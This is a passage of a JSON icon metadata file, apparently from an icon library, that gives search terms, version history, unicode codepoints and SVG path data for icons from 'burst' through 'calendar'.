      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32v128h128V32H0zm120 120H8V40h112v112zm40-120v128h128V32H160zm120 120H168V40h112v112zm40-120v128h128V32H320zm120 120H328V40h112v112zM0 192v128h128V192H0zm120 120H8V200h112v112zm40-120v128h128V192H160zm120 120H168V200h112v112zm40-120v128h128V192H320zm120 120H328V200h112v112zM0 352v128h128V352H0zm120 120H8V360h112v112zm40-120v128h128V352H160zm120 120H168V360h112v112zm40-120v128h128V352H320z"
      }
    },
    "free": ["brands"]
  },
  "burst": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["boom", "crash", "explosion"]
    },
    "styles": ["solid"],
    "unicode": "e4dc",
    "label": "Burst",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M37.6 4.2C28-2.3 15.2-1.1 7 7s-9.4 21-2.8 30.5l112 163.3L16.6 233.2C6.7 236.4 0 245.6 0 256s6.7 19.6 16.6 22.8l103.1 33.4L66.8 412.8c-4.9 9.3-3.2 20.7 4.3 28.1s18.8 9.2 28.1 4.3l100.6-52.9 33.4 103.1c3.2 9.9 12.4 16.6 22.8 16.6s19.6-6.7 22.8-16.6l33.4-103.1 100.6 52.9c9.3 4.9 20.7 3.2 28.1-4.3s9.2-18.8 4.3-28.1L392.3 312.2l103.1-33.4c9.9-3.2 16.6-12.4 16.6-22.8s-6.7-19.6-16.6-22.8L388.9 198.7l25.7-70.4c3.2-8.8 1-18.6-5.6-25.2s-16.4-8.8-25.2-5.6l-70.4 25.7L278.8 16.6C275.6 6.7 266.4 0 256 0s-19.6 6.7-22.8 16.6l-32.3 99.6L37.6 4.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M37.6 4.2C28-2.3 15.2-1.1 7 7s-9.4 21-2.8 30.5l112 163.3L16.6 233.2C6.7 236.4 0 245.6 0 256s6.7 19.6 16.6 22.8l103.1 33.4L66.8 412.8c-4.9 9.3-3.2 20.7 4.3 28.1s18.8 9.2 28.1 4.3l100.6-52.9 33.4 103.1c3.2 9.9 12.4 16.6 22.8 16.6s19.6-6.7 22.8-16.6l33.4-103.1 100.6 52.9c9.3 4.9 20.7 3.2 28.1-4.3s9.2-18.8 4.3-28.1L392.3 312.2l103.1-33.4c9.9-3.2 16.6-12.4 16.6-22.8s-6.7-19.6-16.6-22.8L388.9 198.7l25.7-70.4c3.2-8.8 1-18.6-5.6-25.2s-16.4-8.8-25.2-5.6l-70.4 25.7L278.8 16.6C275.6 6.7 266.4 0 256 0s-19.6 6.7-22.8 16.6l-32.3 99.6L37.6 4.2z"
      }
    },
    "free": ["solid"]
  },
  "bus": {
    "aliases": {
      "unicodes": {
        "composite": ["1f68d"],
        "secondary": ["10f207"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bus",
        "oncoming",
        "oncoming bus",
        "public transportation",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f207",
    "label": "Bus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 0C422.4 0 512 35.2 512 80V96l0 32c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32l0 160c0 17.7-14.3 32-32 32v32c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H192v32c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32l0-32c-17.7 0-32-14.3-32-32l0-160c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h0V96h0V80C64 35.2 153.6 0 288 0zM128 160v96c0 17.7 14.3 32 32 32H272V128H160c-17.7 0-32 14.3-32 32zM304 288H416c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H304V288zM144 400a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm288 0a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM384 80c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16s7.2 16 16 16H368c8.8 0 16-7.2 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 0C422.4 0 512 35.2 512 80V96l0 32c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32l0 160c0 17.7-14.3 32-32 32v32c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H192v32c0 17.7-14.3 32-32 32H128c-17.7 0-32-14.3-32-32l0-32c-17.7 0-32-14.3-32-32l0-160c-17.7 0-32-14.3-32-32V160c0-17.7 14.3-32 32-32h0V96h0V80C64 35.2 153.6 0 288 0zM128 160v96c0 17.7 14.3 32 32 32H272V128H160c-17.7 0-32 14.3-32 32zM304 288H416c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H304V288zM144 400a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm288 0a32 32 0 1 0 0-64 32 32 0 1 0 0 64zM384 80c0-8.8-7.2-16-16-16H208c-8.8 0-16 7.2-16 16s7.2 16 16 16H368c8.8 0 16-7.2 16-16z"
      }
    },
    "free": ["solid"]
  },
  "bus-simple": {
    "aliases": {
      "names": ["bus-alt"],
      "unicodes": {
        "secondary": ["10f55e"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "mta",
        "public transportation",
        "transportation",
        "travel",
        "vehicle"
      ]
    },
    "styles": ["solid"],
    "unicode": "f55e",
    "label": "Bus Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767650,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 0C348.8 0 448 35.2 448 80V96 416c0 17.7-14.3 32-32 32v32c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32l0-32c-17.7 0-32-14.3-32-32V96 80C0 35.2 99.2 0 224 0zM64 128V256c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 400a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm288 0a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 0C348.8 0 448 35.2 448 80V96 416c0 17.7-14.3 32-32 32v32c0 17.7-14.3 32-32 32H352c-17.7 0-32-14.3-32-32V448H128v32c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32l0-32c-17.7 0-32-14.3-32-32V96 80C0 35.2 99.2 0 224 0zM64 128V256c0 17.7 14.3 32 32 32H352c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 400a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm288 0a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "business-time": {
    "aliases": {
      "names": ["briefcase-clock"],
      "unicodes": {
        "secondary": ["10f64a"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "alarm",
        "briefcase",
        "business socks",
        "clock",
        "flight of the conchords",
        "reminder",
        "wednesday"
      ]
    },
    "styles": ["solid"],
    "unicode": "f64a",
    "label": "Business Time",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160v96H192 352h8.2c32.3-39.1 81.1-64 135.8-64c5.4 0 10.7 .2 16 .7V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM320 352H224c-17.7 0-32-14.3-32-32V288H0V416c0 35.3 28.7 64 64 64H360.2C335.1 449.6 320 410.5 320 368c0-5.4 .2-10.7 .7-16l-.7 0zm320 16a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zM496 288c8.8 0 16 7.2 16 16v48h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H496c-8.8 0-16-7.2-16-16V304c0-8.8 7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96H64C28.7 96 0 124.7 0 160v96H192 352h8.2c32.3-39.1 81.1-64 135.8-64c5.4 0 10.7 .2 16 .7V160c0-35.3-28.7-64-64-64H384V56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM320 352H224c-17.7 0-32-14.3-32-32V288H0V416c0 35.3 28.7 64 64 64H360.2C335.1 449.6 320 410.5 320 368c0-5.4 .2-10.7 .7-16l-.7 0zm320 16a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zM496 288c8.8 0 16 7.2 16 16v48h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H496c-8.8 0-16-7.2-16-16V304c0-8.8 7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "buy-n-large": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8a6",
    "label": "Buy n Large",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M288 32C133.27 32 7.79 132.32 7.79 256S133.27 480 288 480s280.21-100.32 280.21-224S442.73 32 288 32zm-85.39 357.19L64.1 390.55l77.25-290.74h133.44c63.15 0 84.93 28.65 78 72.84a60.24 60.24 0 0 1-1.5 6.85 77.39 77.39 0 0 0-17.21-1.93c-42.35 0-76.69 33.88-76.69 75.65 0 37.14 27.14 68 62.93 74.45-18.24 37.16-56.16 60.92-117.71 61.52zM358 207.11h32l-22.16 90.31h-35.41l-11.19-35.63-7.83 35.63h-37.83l26.63-90.31h31.34l15 36.75zm145.86 182.08H306.79L322.63 328a78.8 78.8 0 0 0 11.47.83c42.34 0 76.69-33.87 76.69-75.65 0-32.65-21-60.46-50.38-71.06l21.33-82.35h92.5l-53.05 205.36h103.87zM211.7 269.39H187l-13.8 56.47h24.7c16.14 0 32.11-3.18 37.94-26.65 5.56-22.31-7.99-29.82-24.14-29.82zM233 170h-21.34L200 217.71h21.37c18 0 35.38-14.64 39.21-30.14C265.23 168.71 251.07 170 233 170z"
      }
    },
    "free": ["brands"]
  },
  "buysellads": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f20d",
    "label": "BuySellAds",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 150.7l42.9 160.7h-85.8L224 150.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-65.3 325.3l-94.5-298.7H159.8L65.3 405.3H156l111.7-91.6 24.2 91.6h90.8z"
      }
    },
    "free": ["brands"]
  },
  "c": {
    "aliases": {
      "unicodes": {
        "composite": ["63"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter C", "Latin Small Letter C", "letter"]
    },
    "styles": ["solid"],
    "unicode": "43",
    "label": "C",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M329.1 142.9c-62.5-62.5-155.8-62.5-218.3 0s-62.5 163.8 0 226.3s155.8 62.5 218.3 0c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3c-87.5 87.5-221.3 87.5-308.8 0s-87.5-229.3 0-316.8s221.3-87.5 308.8 0c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M329.1 142.9c-62.5-62.5-155.8-62.5-218.3 0s-62.5 163.8 0 226.3s155.8 62.5 218.3 0c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3c-87.5 87.5-221.3 87.5-308.8 0s-87.5-229.3 0-316.8s221.3-87.5 308.8 0c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "cable-car": {
    "aliases": {
      "names": ["tram"],
      "unicodes": {
        "composite": ["1f6a1", "e0cf"],
        "secondary": ["10f7da"]
      }
    },
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "aerial tramway",
        "cable",
        "gondola",
        "lift",
        "mountain",
        "mountain cableway",
        "tram",
        "tramway",
        "trolley"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7da",
    "label": "Cable Car",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767649,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM160 56a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM32 288c0-35.3 28.7-64 64-64H232V157.5l-203.1 42c-13 2.7-25.7-5.7-28.4-18.6s5.7-25.7 18.6-28.4l232-48 232-48c13-2.7 25.7 5.7 28.4 18.6s-5.7 25.7-18.6 28.4L280 147.5V224H416c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V288zm64 0c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H96zm112 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H352z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 0a32 32 0 1 1 0 64 32 32 0 1 1 0-64zM160 56a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM32 288c0-35.3 28.7-64 64-64H232V157.5l-203.1 42c-13 2.7-25.7-5.7-28.4-18.6s5.7-25.7 18.6-28.4l232-48 232-48c13-2.7 25.7 5.7 28.4 18.6s-5.7 25.7-18.6 28.4L280 147.5V224H416c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H96c-35.3 0-64-28.7-64-64V288zm64 0c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H96zm112 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H224c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16H352z"
      }
    },
    "free": ["solid"]
  },
  "cake-candles": {
    "aliases": {
      "names": ["birthday-cake", "cake"],
      "unicodes": {
        "composite": ["1f382"],
        "secondary": ["10f1fd"]
      }
    },
    "changes": ["4.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "anniversary",
        "bakery",
        "birthday",
        "birthday cake",
        "cake",
        "candles",
        "celebration",
        "dessert",
        "frosting",
        "holiday",
        "party",
        "pastry",
        "sweet"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1fd",
    "label": "Cake Candles",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M86.4 5.5L61.8 47.6C58 54.1 56 61.6 56 69.2V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L105.6 5.5C103.6 2.1 100 0 96 0s-7.6 2.1-9.6 5.5zm128 0L189.8 47.6c-3.8 6.5-5.8 14-5.8 21.6V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L233.6 5.5C231.6 2.1 228 0 224 0s-7.6 2.1-9.6 5.5zM317.8 47.6c-3.8 6.5-5.8 14-5.8 21.6V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L361.6 5.5C359.6 2.1 356 0 352 0s-7.6 2.1-9.6 5.5L317.8 47.6zM128 176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c-35.3 0-64 28.7-64 64v71c8.3 5.2 18.1 9 28.8 9c13.5 0 27.2-6.1 38.4-13.4c5.4-3.5 9.9-7.1 13-9.7c1.5-1.3 2.7-2.4 3.5-3.1c.4-.4 .7-.6 .8-.8l.1-.1 0 0 0 0s0 0 0 0s0 0 0 0c3.1-3.2 7.4-4.9 11.9-4.8s8.6 2.1 11.6 5.4l0 0 0 0 .1 .1c.1 .1 .4 .4 .7 .7c.7 .7 1.7 1.7 3.1 3c2.8 2.6 6.8 6.1 11.8 9.5c10.2 7.1 23 13.1 36.3 13.1s26.1-6 36.3-13.1c5-3.5 9-6.9 11.8-9.5c1.4-1.3 2.4-2.3 3.1-3c.3-.3 .6-.6 .7-.7l.1-.1c3-3.5 7.4-5.4 12-5.4s9 2 12 5.4l.1 .1c.1 .1 .4 .4 .7 .7c.7 .7 1.7 1.7 3.1 3c2.8 2.6 6.8 6.1 11.8 9.5c10.2 7.1 23 13.1 36.3 13.1s26.1-6 36.3-13.1c5-3.5 9-6.9 11.8-9.5c1.4-1.3 2.4-2.3 3.1-3c.3-.3 .6-.6 .7-.7l.1-.1c2.9-3.4 7.1-5.3 11.6-5.4s8.7 1.6 11.9 4.8l0 0 0 0 0 0 .1 .1c.2 .2 .4 .4 .8 .8c.8 .7 1.9 1.8 3.5 3.1c3.1 2.6 7.5 6.2 13 9.7c11.2 7.3 24.9 13.4 38.4 13.4c10.7 0 20.5-3.9 28.8-9V288c0-35.3-28.7-64-64-64V176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48H256V176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48H128V176zM448 394.6c-8.5 3.3-18.2 5.4-28.8 5.4c-22.5 0-42.4-9.9-55.8-18.6c-4.1-2.7-7.8-5.4-10.9-7.8c-2.8 2.4-6.1 5-9.8 7.5C329.8 390 310.6 400 288 400s-41.8-10-54.6-18.9c-3.5-2.4-6.7-4.9-9.4-7.2c-2.7 2.3-5.9 4.7-9.4 7.2C201.8 390 182.6 400 160 400s-41.8-10-54.6-18.9c-3.7-2.6-7-5.2-9.8-7.5c-3.1 2.4-6.8 5.1-10.9 7.8C71.2 390.1 51.3 400 28.8 400c-10.6 0-20.3-2.2-28.8-5.4V480c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32V394.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M86.4 5.5L61.8 47.6C58 54.1 56 61.6 56 69.2V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L105.6 5.5C103.6 2.1 100 0 96 0s-7.6 2.1-9.6 5.5zm128 0L189.8 47.6c-3.8 6.5-5.8 14-5.8 21.6V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L233.6 5.5C231.6 2.1 228 0 224 0s-7.6 2.1-9.6 5.5zM317.8 47.6c-3.8 6.5-5.8 14-5.8 21.6V72c0 22.1 17.9 40 40 40s40-17.9 40-40V69.2c0-7.6-2-15-5.8-21.6L361.6 5.5C359.6 2.1 356 0 352 0s-7.6 2.1-9.6 5.5L317.8 47.6zM128 176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48c-35.3 0-64 28.7-64 64v71c8.3 5.2 18.1 9 28.8 9c13.5 0 27.2-6.1 38.4-13.4c5.4-3.5 9.9-7.1 13-9.7c1.5-1.3 2.7-2.4 3.5-3.1c.4-.4 .7-.6 .8-.8l.1-.1 0 0 0 0s0 0 0 0s0 0 0 0c3.1-3.2 7.4-4.9 11.9-4.8s8.6 2.1 11.6 5.4l0 0 0 0 .1 .1c.1 .1 .4 .4 .7 .7c.7 .7 1.7 1.7 3.1 3c2.8 2.6 6.8 6.1 11.8 9.5c10.2 7.1 23 13.1 36.3 13.1s26.1-6 36.3-13.1c5-3.5 9-6.9 11.8-9.5c1.4-1.3 2.4-2.3 3.1-3c.3-.3 .6-.6 .7-.7l.1-.1c3-3.5 7.4-5.4 12-5.4s9 2 12 5.4l.1 .1c.1 .1 .4 .4 .7 .7c.7 .7 1.7 1.7 3.1 3c2.8 2.6 6.8 6.1 11.8 9.5c10.2 7.1 23 13.1 36.3 13.1s26.1-6 36.3-13.1c5-3.5 9-6.9 11.8-9.5c1.4-1.3 2.4-2.3 3.1-3c.3-.3 .6-.6 .7-.7l.1-.1c2.9-3.4 7.1-5.3 11.6-5.4s8.7 1.6 11.9 4.8l0 0 0 0 0 0 .1 .1c.2 .2 .4 .4 .8 .8c.8 .7 1.9 1.8 3.5 3.1c3.1 2.6 7.5 6.2 13 9.7c11.2 7.3 24.9 13.4 38.4 13.4c10.7 0 20.5-3.9 28.8-9V288c0-35.3-28.7-64-64-64V176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48H256V176c0-17.7-14.3-32-32-32s-32 14.3-32 32v48H128V176zM448 394.6c-8.5 3.3-18.2 5.4-28.8 5.4c-22.5 0-42.4-9.9-55.8-18.6c-4.1-2.7-7.8-5.4-10.9-7.8c-2.8 2.4-6.1 5-9.8 7.5C329.8 390 310.6 400 288 400s-41.8-10-54.6-18.9c-3.5-2.4-6.7-4.9-9.4-7.2c-2.7 2.3-5.9 4.7-9.4 7.2C201.8 390 182.6 400 160 400s-41.8-10-54.6-18.9c-3.7-2.6-7-5.2-9.8-7.5c-3.1 2.4-6.8 5.1-10.9 7.8C71.2 390.1 51.3 400 28.8 400c-10.6 0-20.3-2.2-28.8-5.4V480c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32V394.6z"
      }
    },
    "free": ["solid"]
  },
  "calculator": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5a9"],
        "secondary": ["10f1ec"]
      }
    },
    "changes": [
      "4.2.0",
      "5.0.0",
      "5.3.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Pocket Calculator",
        "abacus",
        "addition",
        "arithmetic",
        "counting",
        "math",
        "multiplication",
        "subtraction"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ec",
    "label": "Calculator",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM96 64H288c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96c0-17.7 14.3-32 32-32zm32 160a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zM96 352a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM64 416c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32zM192 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm32 64a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm64-64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm32 64a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zM288 448a32 32 0 1 1 0-64 32 32 0 1 1 0 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H64zM96 64H288c17.7 0 32 14.3 32 32v32c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V96c0-17.7 14.3-32 32-32zm32 160a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zM96 352a32 32 0 1 1 0-64 32 32 0 1 1 0 64zM64 416c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32s-14.3 32-32 32H96c-17.7 0-32-14.3-32-32zM192 256a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm32 64a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm64-64a32 32 0 1 1 0-64 32 32 0 1 1 0 64zm32 64a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zM288 448a32 32 0 1 1 0-64 32 32 0 1 1 0 64z"
      }
    },
    "free": ["solid"]
  },
  "calendar": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4c5", "1f4c6"],
        "secondary": ["10f133"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "calendar",
        "calendar-o",
        "date",
        "day",
        "event",
        "month",
        "schedule",
        "tear-off calendar",
        "time",
        "when",
        "year"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f133",
    "label": "Calendar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 32V64H48C21.5 64 0 85.5 0 112v48H448V112c0-26.5-21.5-48-48-48H352V32c0-17.7-14.3-32-32-32s-32 14.3-32 32V64H160V32c0-17.7-14.3-32-32-32S96 14.3 96 32zM448 192H0V464c0 26.5 21.5 48 48 48H400c26.5 0 48-21.5 48-48V192z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
